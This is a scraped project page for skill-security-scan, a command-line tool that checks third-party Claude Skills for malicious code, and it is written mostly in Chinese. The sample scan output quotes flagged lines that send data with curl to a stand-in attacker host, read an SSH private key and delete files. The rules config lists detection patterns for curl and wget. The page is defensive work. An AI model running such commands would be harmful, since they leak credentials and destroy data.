by huifer
skill-security-scan is a command-line tool designed to scan and detect security risks in Claude Skills. Before installing third-party Skills, use this tool for security review to effectively prevent malicious code from stealing data or compromising your system.
# Add to your Claude Code skills
git clone https://github.com/huifer/skill-security-scan🔍 Claude Skills 安全扫描工具 - 保护你的开发环境
English Documentation | 中文文档
skill-security-scan 是一个命令行工具,用于扫描和检测 Claude Skills 的安全风险。在安装第三方 Skills 前,使用此工具进行安全审查,有效防止恶意代码窃取数据或破坏系统。
本项目由 WellAlly Technology 开发者发起并维护,致力于为开发者社区提供安全可靠的工具。
在本地 Claude Code 中使用 Skills 存在以下安全风险:
.claude/skills/ 目录和当前目录# 克隆仓库
git clone https://github.com/huifer/skill-security-scan
cd skill-security-scan
# 安装包(可编辑模式)
pip install -e .
# 或使用 pip 直接安装
pip install skill-security-scan
No comments yet. Be the first to share your thoughts!
Top skills in this category by stars
# 扫描当前目录和 .claude/skills/(默认行为)
skill-security-scan scan
# 扫描指定路径(仍会自动包含 .claude/skills/)
skill-security-scan scan /path/to/skill
# 扫描并生成指定名称的 HTML 报告
skill-security-scan scan --output my_report.html
# 生成 JSON 报告
skill-security-scan scan --format json --output report.json
# 仅控制台输出(不生成 HTML 文件)
skill-security-scan scan --format console
# 使用自定义规则
skill-security-scan scan --rules custom-rules.yaml
# 只显示严重问题
skill-security-scan scan --severity CRITICAL
# 使用英文界面
skill-security-scan scan --lang en_US
skill-security-scan scan [OPTIONS] [PATHS]...
Options:
-r, --recursive 递归扫描子目录
-o, --output FILE 输出报告文件(HTML 默认自动生成文件名)
-f, --format FORMAT 报告格式 [console|json|html](默认: html)
--rules FILE 自定义规则文件
--severity LEVEL 最低显示级别 [CRITICAL|WARNING|INFO](默认: INFO)
--no-color 禁用彩色输出
--fail-on LEVEL 遇到指定级别错误时退出码非0
--lang LANG 界面语言 [zh_CN|en_US](默认: zh_CN)
Arguments:
PATHS 要扫描的路径(可选,默认扫描当前目录和 .claude/skills/)
说明:
.)和 .claude/skills/ 目录.claude/skills/ 目录(如果存在)skill_scan_report_20231229_113252.html)默认生成美观的 HTML 报告,包含:
HTML 报告会在浏览器中打开,方便详细审查和分析。
[*] 扫描 Skills:
- /path/to/skill
- .claude\skills
[!] Risk Level: CRITICAL (10.0/10)
[!] CRITICAL 问题 (67 个):
[NET001] in SKILL.md:15
Pattern: curl -X POST https://attacker-server.com/collect
Confidence: 高
[FILE001] in scripts/setup.sh:8
Pattern: cat ~/.ssh/id_rsa
Confidence: 高
[CMD001] in SKILL.md:23
Pattern: rm -rf /tmp/*
Confidence: 中
[*] WARNING 问题 (61 个):
[CMD002] in SKILL.md:46
Pattern: os.system("unknown command")
Confidence: 中
还有 57 个
[*] 摘要:
Total Files Scanned: 7
Critical Issues: 67
Warning Issues: 61
Info Issues: 0
Total Issues: 128
[*] 建议: 请勿使用 - 检测到严重安全风险
Report saved to: skill_scan_report_20231229_113252.html
编辑 config/rules.yaml 来自定义检测规则:
network_rules:
- id: NET001
name: "外部网络请求"
severity: CRITICAL
patterns:
- "curl\\s+.*http"
- "wget\\s+"
description: "检测到向外发送数据的网络请求"
allowed_domains:
- "api.anthropic.com"
- "github.com"
# 添加规则到白名单
skill-security-scan whitelist add NET001
# 查看白名单
skill-security-scan whitelist list
# 从白名单移除
skill-security-scan whitelist remove NET001
# 运行测试
pytest tests/
# 运行测试并覆盖
pytest tests/ --cov=src --cov-report=html
项目可以使用 PyInstaller 打包成独立的可执行文件,无需安装 Python 环境即可运行。
pip install pyinstaller
# 使用项目中的 spec 文件打包
pyinstaller skill-security-scan.spec --clean
打包完成后,可执行文件位于 dist/skill-security-scan.exe(Windows)或 dist/skill-security-scan(Linux/macOS)。
文件大小约 10MB,包含了所有必要的依赖和配置文件。
# 直接运行,无需安装 Python
./dist/skill-security-scan.exe --help
# 扫描目录
./dist/skill-security-scan.exe scan /path/to/skill
# 生成报告
./dist/skill-security-scan.exe scan --output report.html
skill-security-scan.spec - PyInstaller 配置文件
standalone_cli.pyconfig/*.yaml 配置文件src/ 目录standalone_cli.py - 可执行文件入口点
runpy.run_module() 执行 CLI 模块dist/skill-security-scan.exe - 最终可执行文件
# Windows
pyinstaller skill-security-scan.spec --clean
# Linux/macOS
pyinstaller skill-security-scan.spec --clean
注意:可执行文件需要在目标操作系统上打包,或使用对应的虚拟环境打包。
skill-security-scan/
├── src/
│ ├── scanner/ # 扫描引擎
│ ├── rules/ # 安全规则
│ ├── reporters/ # 报告生成器(Console, JSON, HTML)
│ ├── i18n/ # 国际化文件(中文、英文)
│ ├── config_loader.py # 配置加载器
│ ├── rules_factory.py # 规则工厂
│ └── cli.py # 命令行接口
├── config/ # 配置文件
│ ├── rules.yaml # 安全检测规则
│ └── whitelist.yaml # 白名单配置
├── tests/ # 测试用例
│ ├── skills/ # 测试用 Skills
│ └── test_*.py # 单元测试
├── examples/ # 示例 Skills
└── docs/ # 文档
欢迎贡献!请查看 CONTRIBUTING.md 了解详情。
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)MIT License - 查看 LICENSE 文件了解详情
⚠️ 免责声明: 此工具不能保证 100% 检测所有安全风险。请始终谨慎使用第三方 Skills,并在隔离环境中测试。
中文文档 | English Documentation